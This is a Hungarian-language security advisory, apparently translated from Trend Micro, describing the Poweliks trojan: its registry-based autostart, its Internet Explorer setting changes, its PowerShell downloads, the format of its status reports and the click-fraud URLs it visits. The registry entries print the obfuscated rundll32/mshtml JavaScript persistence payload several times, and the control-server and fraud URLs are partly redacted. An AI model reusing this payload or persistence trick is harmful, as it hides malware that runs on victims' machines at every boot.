TROJ_POWELIKS.B

CH azonosító

Angol cím

Felfedezés dátuma

Súlyosság

Érintett rendszerek

Érintett verziók

Windows

Összefoglaló

Ez a kártékony kód újfajta automatikus indítási mechanizmust használ és eltávolítja a felhasználó regisztrációs bejegyzés olvasási jogát. Ezek után a felhasználók nem képesek detektálni azt, hogy a rendszerük fertőzött-e.

A trójai egy másik malware vagy egy káros kódot terjesztő weboldal segítségével kerül a számítógépre.

Alias-ok: Trojan:Win32/Powessere.A (Microsoft), Trojan.Win32.Crypt.cya (Kaspersky)

Leírás

A trójai az alábbi regisztrációs bejegyzéseket hozza létre annak érdekében, hogy minden rendszerindításnál futhasson:

• HKEY_CLASSES_ROOTCLSID{GUID}
  LocalServer32
  a = “{encoded script}”
• HKEY_LOCAL_MACHINESOFTWAREClasses
  CLSID{GUID}LocalServer32
  a = “{encoded script}”
• HKEY_LOCAL_MACHINESOFTWAREClasses
  CLSID{73E709EA-5D93-4B2E-BBB0-99B7938DA9E4}LocalServer32
  (Default) = “rundll32.exe javascript:”..mshtml,RunHTMLApplication “;eval(“epdvnfou/xsjuf
  (=tdsjqu!mbohvbhf>ktdsjqu/fodpef?(,)ofx!BdujwfYPckfdu)(XTdsjqu/Tifmm(**/SfhSfbe
  (ILDS]]dmtje]]|84f81:fb.6e:4.5c3f.ccc1.::c8:49eb:f5~]]mpdbmtfswfs43]]b(*,(=0tdsjqu
  (*”.replace(/./g,function(_){return%20String.fromCharCode(_.charCodeAt()-1);}))”
• HKEY_CLASSES_ROOTCLSID{GUID}
  LocalServer32
  (Default) = “rundll32.exe javascript:”..mshtml,RunHTMLApplication “;eval(“epdvnfou/xsjuf)(=tdsjqu!mbohvbhf>ktdsjqu/fodpef?(,)ofx!BdujwfYPckfdu)(XTdsjqu/Tifmm(**/SfhSfbe)(ILDS]]dmtje]]|84f81:fb.6e:4.5c3f.ccc1.::c8:49eb:f5~]]mpdbmtfswfs43]]b(*,(=0tdsjqu?(*”.replace(/./g,function(_){return%20String.fromCharCode(_.charCodeAt()-1);}))”

Az alábbi regisztrációs bejegyzéseket hozza létre még:

• HKEY_CURRENT_USERSoftwareMicrosoft
  Internet ExplorerMain
  noprotectedmodebanner = “1”
• HKEY_CURRENT_USERSoftwareMicrosoft
  Internet ExplorerMainfeaturecontrol
  feature_browser_emulation
  dllhost.exe = “dword:00002af8” 
• HKEY_CURRENT_USERSoftwareMicrosoft
  Internet ExplorerMainfeaturecontrol
  feature_browser_emulation
  iexplore.exe = “dword:00002af8”
• HKEY_CURRENT_USERSoftwareMicrosoft
  Internet Explorerlowregistrydontshowmethisdialogagain
  displaytrustalertdlg = “0”
• HKEY_CURRENT_USERSoftwareMicrosoft
  Internet Explorer
  autosearch = “0”
• HKEY_CURRENT_USERSoftwareMicrosoft
  Internet Explorersmartdithering = “0”

Az alábbi bejegyzéseket változtatja meg:

• HKEY_CLASSES_ROOTCLSID{GUID}
  LocalServer32
  (Default) = “rundll32.exe javascript:”..mshtml,RunHTMLApplication “;eval(“epdvnfou/xsjuf)(=tdsjqu!mbohvbhf>ktdsjqu/fodpef?(,)ofx!BdujwfYPckfdu)(XTdsjqu/Tifmm(**/SfhSfbe)(ILDS]]dmtje]]|84f81:fb.6e:4.5c3f.ccc1.::c8:49eb:f5~]]mpdbmtfswfs43]]b(*,(=0tdsjqu?(*”.replace(/./g,function(_){return%20String.fromCharCode(_.charCodeAt()-1);}))”
• HKEY_LOCAL_MACHINESOFTWAREClasses
  CLSID{GUID}LocalServer32
  (Default) = “rundll32.exe javascript:”..mshtml,RunHTMLApplication “;eval(“epdvnfou/xsjuf)(=tdsjqu!mbohvbhf>ktdsjqu/fodpef?(,)ofx!BdujwfYPckfdu)(XTdsjqu/Tifmm(**/SfhSfbe)(ILDS]]dmtje]]|84f81:fb.6e:4.5c3f.ccc1.::c8:49eb:f5~]]mpdbmtfswfs43]]b(*,(=0tdsjqu?(*”.replace(/./g,function(_){return%20String.fromCharCode(_.charCodeAt()-1);}))”

A trójai az alábbi weboldalakhoz próbál hozzáférni, majd letölt egy Windows Powershell-t az operációs rendszer verziójától függően:

• hxxp://download.microsoft.com/download/3/C/8/3C8CF51E-1D9D-4DAA-AAEA-5C48D1CD055C/Windows6.0-KB968930-x64.msu
• hxxp://download.microsoft.com/download/A/7/5/A75BC017-63CE-47D6-8FA4-AFB5C21BAC54/Windows6.0-KB968930-x86.msu
• hxxp://download.microsoft.com/download/B/D/9/BD9BB1FF-6609-4B10-9334-6D0C58066AA7/WindowsServer2003-KB968930-x64-ENG.exe
• hxxp://download.microsoft.com/download/9/8/6/98610406-c2b7-45a4-bdc3-9db1b1c5f7e2/NetFx20SP1_x64.exe
• hxxp://download.microsoft.com/download/E/C/E/ECE99583-2003-455D-B681-68DB610B44A4/WindowsXP-KB968930-x86-ENG.exe
• hxxp://download.microsoft.com/download/0/8/c/08c19fa4-4c4f-4ffb-9d6c-150906578c9e/NetFx20SP1_x86.exe

Az alábbi neveken próbálja menteni a letöltött állományokat:

• %User Temp%WindowsServer2003-KB968930-x64-ENG.exe
• %User Temp%NetFx20SP1_x86.exe
• %User Temp%NetFx20SP1_x64.exe
• %User Temp%WindowsServer2003-KB968930-x64-ENG.exe
• %User Temp%Windows6.0-KB968930-x86.msu
• %User Temp%Windows6.0-KB968930-x64.msu

A trójai az alábbi adatokat szerzi meg:

• Operációs rendszer és architektúra
• UUID
• Malware verzió
• Készítés dátuma

A trójai a Windows Powershell-t használja, hogy végrehajtsa a beágyazott TROJ_POWELIKS.B-t egy scriptben, ami a registrybe íródik. Ez szolgál majd a malware automatikus indítási mechanizmusához.

Az alábbi URL-ek felé jelenti a fertőzés státuszát és a rendszerinformációkat:

• http://{BLOCKED}f.com/q
• http://{BLOCKED}1.com/q

Ezek után konfigurációs adatokat kap weboldalakról és keresési kulcsszavakról, melyeket kattintásos csalásokhoz (click-fraud activity) használnak.

Az információt az alábbi formátumban kapja:

type={status: start, install, exist, cmd or low}&version=1.0&aid={id}&builddate={build date}&id={iuuid}&os={OS version}_{OS architecture}

Jelenleg az alábbi URL-ekhez fér hozzá, hogy kattintásos csalásokat hajtson végre:

• http://{BLOCKED}dablesearch.com/search.php?q=testosterone+cypionate
• http://{BLOCKED}{BLOCKED}.143.90/click.php?c=3a293fcf1ec6d783daa5c0e6c98d5430b96906d3e2e27b9b3fae5f20571b2658f6b531abd729c60eedf9349158cf3ce9717e725a2b8bd205b900441f6f12563a38aef92db6a51224f2fa03bbda513887
• http://{BLOCKED}orcefinder.com/search.php?q=medical+symptoms+checker
• http://{BLOCKED}.{BLOCKED}.63.56/feed4/click?aff=10178&saff=448&cid=6d1c6c3d4cafb4d311016358b76c5d90
• http://{BLOCKED}dablesearch.com/search.php?q=fast+weight+loss
• http://{BLOCKED}.{BLOCKED}.143.90/click.php?c=3a293fcf1ec6d783daa5c0e6c98d5430fa1c105d8c90f5b9351517ea603fe076173ec310cbc666c1c8cb239c0cf3db97a832418dda941e8e25222883b6af4256f6061f198366c1de99463995ad7a19ac
• http://{BLOCKED}dablesearch.com/search.php?q=joint+infection
• http://{BLOCKED}.{BLOCKED}.241.85/click?sid=8f75f821c687855c53899112090ed27514c749fd&cid=0
• http://{BLOCKED}dablesearch.com/search.php?q=testosterone+therapy
• http://{BLOCKED}.{BLOCKED}.241.85/click?sid=7434e7992049245727327b488788b25379aeb75f&cid=0
• http://{BLOCKED}dablesearch.com/search.php?q=knee+pain+when+bending
• http://{BLOCKED}.{BLOCKED}.241.85/click?sid=6a0d85c48946f3bd0d1925d87c101f406280d4dc&cid=0

Támadás típusa

Hatás

Szükséges hozzáférés

Hivatkozások

Gyártói referencia: www.trendmicro.com